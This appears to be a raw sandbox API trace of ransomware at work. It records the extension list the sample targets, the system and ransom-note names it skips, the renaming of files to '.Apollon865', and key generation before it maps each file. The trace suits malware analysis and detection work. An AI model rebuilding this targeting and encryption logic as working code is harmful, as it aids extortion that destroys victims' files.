	[0088.646] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0088.646] lstrlenW (lpString="dtsx") returned 4
	[0088.646] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0088.646] lstrlenW (lpString="dxl") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0088.646] lstrlenW (lpString="eco") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0088.646] lstrlenW (lpString="ecx") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0088.646] lstrlenW (lpString="edb") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0088.646] lstrlenW (lpString="epim") returned 4
	[0088.646] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0088.646] lstrlenW (lpString="fcd") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0088.647] lstrlenW (lpString="fdb") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0088.647] lstrlenW (lpString="fic") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0088.647] lstrlenW (lpString="flexolibrary") returned 12
	[0088.647] lstrcmpiW (lpString1="SN Autos.url", lpString2="flexolibrary") returned 1
	[0088.647] lstrlenW (lpString="fm5") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0088.647] lstrlenW (lpString="fmp") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0088.647] lstrlenW (lpString="fmp12") returned 5
	[0088.647] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0088.647] lstrlenW (lpString="fmpsl") returned 5
	[0088.647] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0088.647] lstrlenW (lpString="fol") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0088.647] lstrlenW (lpString="fp3") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0088.647] lstrlenW (lpString="fp4") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0088.647] lstrlenW (lpString="fp5") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0088.647] lstrlenW (lpString="fp7") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0088.647] lstrlenW (lpString="fpt") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0088.647] lstrlenW (lpString="frm") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0088.647] lstrlenW (lpString="gdb") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.647] lstrlenW (lpString="gdb") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.647] lstrlenW (lpString="grdb") returned 4
	[0088.647] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0088.647] lstrlenW (lpString="gwi") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0088.647] lstrlenW (lpString="hdb") returned 3
	[0088.647] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0088.648] lstrlenW (lpString="his") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0088.648] lstrlenW (lpString="ib") returned 2
	[0088.648] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0088.648] lstrlenW (lpString="idb") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0088.648] lstrlenW (lpString="ihx") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0088.648] lstrlenW (lpString="itdb") returned 4
	[0088.648] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0088.648] lstrlenW (lpString="itw") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0088.648] lstrlenW (lpString="jet") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0088.648] lstrlenW (lpString="jtx") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0088.648] lstrlenW (lpString="kdb") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0088.648] lstrlenW (lpString="kexi") returned 4
	[0088.648] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0088.648] lstrlenW (lpString="kexic") returned 5
	[0088.648] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0088.648] lstrlenW (lpString="kexis") returned 5
	[0088.648] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0088.648] lstrlenW (lpString="lgc") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0088.648] lstrlenW (lpString="lwx") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0088.648] lstrlenW (lpString="maf") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0088.648] lstrlenW (lpString="maq") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0088.648] lstrlenW (lpString="mar") returned 3
	[0088.648] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0088.648] lstrlenW (lpString="marshal") returned 7
	[0088.648] lstrcmpiW (lpString1="tos.url", lpString2="marshal") returned 1
	[0088.648] lstrlenW (lpString="mas") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0088.649] lstrlenW (lpString="mav") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0088.649] lstrlenW (lpString="maw") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0088.649] lstrlenW (lpString="mdbhtml") returned 7
	[0088.649] lstrcmpiW (lpString1="tos.url", lpString2="mdbhtml") returned 1
	[0088.649] lstrlenW (lpString="mdn") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0088.649] lstrlenW (lpString="mdt") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0088.649] lstrlenW (lpString="mfd") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0088.649] lstrlenW (lpString="mpd") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0088.649] lstrlenW (lpString="mrg") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0088.649] lstrlenW (lpString="mud") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0088.649] lstrlenW (lpString="mwb") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0088.649] lstrlenW (lpString="myd") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0088.649] lstrlenW (lpString="ndf") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0088.649] lstrlenW (lpString="nnt") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0088.649] lstrlenW (lpString="nrmlib") returned 6
	[0088.649] lstrcmpiW (lpString1="os.url", lpString2="nrmlib") returned 1
	[0088.649] lstrlenW (lpString="ns2") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0088.649] lstrlenW (lpString="ns3") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0088.649] lstrlenW (lpString="ns4") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0088.649] lstrlenW (lpString="nsf") returned 3
	[0088.649] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0088.650] lstrlenW (lpString="nv") returned 2
	[0088.650] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0088.650] lstrlenW (lpString="nv2") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0088.650] lstrlenW (lpString="nwdb") returned 4
	[0088.650] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0088.650] lstrlenW (lpString="nyf") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0088.650] lstrlenW (lpString="odb") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.650] lstrlenW (lpString="odb") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.650] lstrlenW (lpString="oqy") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0088.650] lstrlenW (lpString="ora") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0088.650] lstrlenW (lpString="orx") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0088.650] lstrlenW (lpString="owc") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0088.650] lstrlenW (lpString="p96") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0088.650] lstrlenW (lpString="p97") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0088.650] lstrlenW (lpString="pan") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0088.650] lstrlenW (lpString="pdb") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0088.650] lstrlenW (lpString="pdm") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0088.650] lstrlenW (lpString="pnz") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0088.650] lstrlenW (lpString="qry") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0088.650] lstrlenW (lpString="qvd") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0088.650] lstrlenW (lpString="rbf") returned 3
	[0088.650] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0088.651] lstrlenW (lpString="rctd") returned 4
	[0088.651] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0088.651] lstrlenW (lpString="rod") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0088.651] lstrlenW (lpString="rodx") returned 4
	[0088.651] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0088.651] lstrlenW (lpString="rpd") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0088.651] lstrlenW (lpString="rsd") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0088.651] lstrlenW (lpString="sas7bdat") returned 8
	[0088.651] lstrcmpiW (lpString1="utos.url", lpString2="sas7bdat") returned 1
	[0088.651] lstrlenW (lpString="sbf") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0088.651] lstrlenW (lpString="scx") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0088.651] lstrlenW (lpString="sdb") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0088.651] lstrlenW (lpString="sdc") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0088.651] lstrlenW (lpString="sdf") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0088.651] lstrlenW (lpString="sis") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0088.651] lstrlenW (lpString="spq") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0088.651] lstrlenW (lpString="te") returned 2
	[0088.651] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0088.651] lstrlenW (lpString="teacher") returned 7
	[0088.651] lstrcmpiW (lpString1="tos.url", lpString2="teacher") returned 1
	[0088.651] lstrlenW (lpString="tmd") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0088.651] lstrlenW (lpString="tps") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0088.651] lstrlenW (lpString="trc") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.651] lstrlenW (lpString="trc") returned 3
	[0088.651] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.652] lstrlenW (lpString="trm") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0088.652] lstrlenW (lpString="udb") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0088.652] lstrlenW (lpString="udl") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0088.652] lstrlenW (lpString="usr") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0088.652] lstrlenW (lpString="v12") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0088.652] lstrlenW (lpString="vis") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0088.652] lstrlenW (lpString="vpd") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0088.652] lstrlenW (lpString="vvv") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0088.652] lstrlenW (lpString="wdb") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0088.652] lstrlenW (lpString="wmdb") returned 4
	[0088.652] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0088.652] lstrlenW (lpString="wrk") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0088.652] lstrlenW (lpString="xdb") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0088.652] lstrlenW (lpString="xld") returned 3
	[0088.652] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0088.652] lstrlenW (lpString="xmlff") returned 5
	[0088.652] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0088.652] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865") returned 77
	[0088.652] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.apollon865"), dwFlags=0x1) returned 1
	[0088.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.658] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.658] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.659] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.659] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.659] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.662] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.662] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.663] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.663] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.664] CloseHandle (hObject=0x15c) returned 1
	[0088.664] CloseHandle (hObject=0x9c) returned 1
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.664] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".") returned 1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="..") returned 1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="windows") returned -1
	[0088.664] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="bootmgr") returned 1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="temp") returned -1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="pagefile.sys") returned -1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="boot") returned 1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ids.txt") returned 1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ntuser.dat") returned -1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="perflogs") returned -1
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="MSBuild") returned 1
	[0088.665] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0088.665] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned 66
	[0088.665] lstrcpyW (in: lpString1=0x119e672, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url"
	[0088.665] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0088.665] lstrlenW (lpString="Apollon865") returned 10
	[0088.665] lstrcmpiW (lpString1="inment.url", lpString2="Apollon865") returned 1
	[0088.665] lstrlenW (lpString=".dll") returned 4
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".dll") returned 1
	[0088.665] lstrlenW (lpString=".lnk") returned 4
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".lnk") returned 1
	[0088.665] lstrlenW (lpString=".ini") returned 4
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".ini") returned 1
	[0088.665] lstrlenW (lpString=".sys") returned 4
	[0088.665] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".sys") returned 1
	[0088.665] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0088.665] lstrlenW (lpString="bak") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.665] lstrlenW (lpString="ba_") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.665] lstrlenW (lpString="dbb") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.665] lstrlenW (lpString="vmdk") returned 4
	[0088.665] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.665] lstrlenW (lpString="rar") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.665] lstrlenW (lpString="zip") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.665] lstrlenW (lpString="tgz") returned 3
	[0088.665] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.665] lstrlenW (lpString="vbox") returned 4
	[0088.666] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.666] lstrlenW (lpString="vdi") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.666] lstrlenW (lpString="vhd") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.666] lstrlenW (lpString="vhdx") returned 4
	[0088.666] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.666] lstrlenW (lpString="avhd") returned 4
	[0088.666] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.666] lstrlenW (lpString="db") returned 2
	[0088.666] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.666] lstrlenW (lpString="db2") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.666] lstrlenW (lpString="db3") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.666] lstrlenW (lpString="dbf") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.666] lstrlenW (lpString="mdf") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.666] lstrlenW (lpString="mdb") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.666] lstrlenW (lpString="sql") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.666] lstrlenW (lpString="sqlite") returned 6
	[0088.666] lstrcmpiW (lpString1="nt.url", lpString2="sqlite") returned -1
	[0088.666] lstrlenW (lpString="sqlite3") returned 7
	[0088.666] lstrcmpiW (lpString1="ent.url", lpString2="sqlite3") returned -1
	[0088.666] lstrlenW (lpString="sqlitedb") returned 8
	[0088.666] lstrcmpiW (lpString1="ment.url", lpString2="sqlitedb") returned -1
	[0088.666] lstrlenW (lpString="xml") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.666] lstrlenW (lpString="$er") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.666] lstrlenW (lpString="4dd") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.666] lstrlenW (lpString="4dl") returned 3
	[0088.666] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.667] lstrlenW (lpString="^^^") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.667] lstrlenW (lpString="abs") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.667] lstrlenW (lpString="abx") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.667] lstrlenW (lpString="accdb") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accdb") returned 1
	[0088.667] lstrlenW (lpString="accdc") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accdc") returned 1
	[0088.667] lstrlenW (lpString="accde") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accde") returned 1
	[0088.667] lstrlenW (lpString="accdr") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accdr") returned 1
	[0088.667] lstrlenW (lpString="accdt") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accdt") returned 1
	[0088.667] lstrlenW (lpString="accdw") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accdw") returned 1
	[0088.667] lstrlenW (lpString="accft") returned 5
	[0088.667] lstrcmpiW (lpString1="t.url", lpString2="accft") returned 1
	[0088.667] lstrlenW (lpString="adb") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.667] lstrlenW (lpString="adb") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.667] lstrlenW (lpString="ade") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.667] lstrlenW (lpString="adf") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.667] lstrlenW (lpString="adn") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.667] lstrlenW (lpString="adp") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.667] lstrlenW (lpString="alf") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.667] lstrlenW (lpString="ask") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.667] lstrlenW (lpString="btr") returned 3
	[0088.667] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.668] lstrlenW (lpString="cat") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.668] lstrlenW (lpString="cdb") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.668] lstrlenW (lpString="ckp") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.668] lstrlenW (lpString="cma") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.668] lstrlenW (lpString="cpd") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.668] lstrlenW (lpString="dacpac") returned 6
	[0088.668] lstrcmpiW (lpString1="nt.url", lpString2="dacpac") returned 1
	[0088.668] lstrlenW (lpString="dad") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.668] lstrlenW (lpString="dadiagrams") returned 10
	[0088.668] lstrcmpiW (lpString1="inment.url", lpString2="dadiagrams") returned 1
	[0088.668] lstrlenW (lpString="daschema") returned 8
	[0088.668] lstrcmpiW (lpString1="ment.url", lpString2="daschema") returned 1
	[0088.668] lstrlenW (lpString="db-journal") returned 10
	[0088.668] lstrcmpiW (lpString1="inment.url", lpString2="db-journal") returned 1
	[0088.668] lstrlenW (lpString="db-shm") returned 6
	[0088.668] lstrcmpiW (lpString1="nt.url", lpString2="db-shm") returned 1
	[0088.668] lstrlenW (lpString="db-wal") returned 6
	[0088.668] lstrcmpiW (lpString1="nt.url", lpString2="db-wal") returned 1
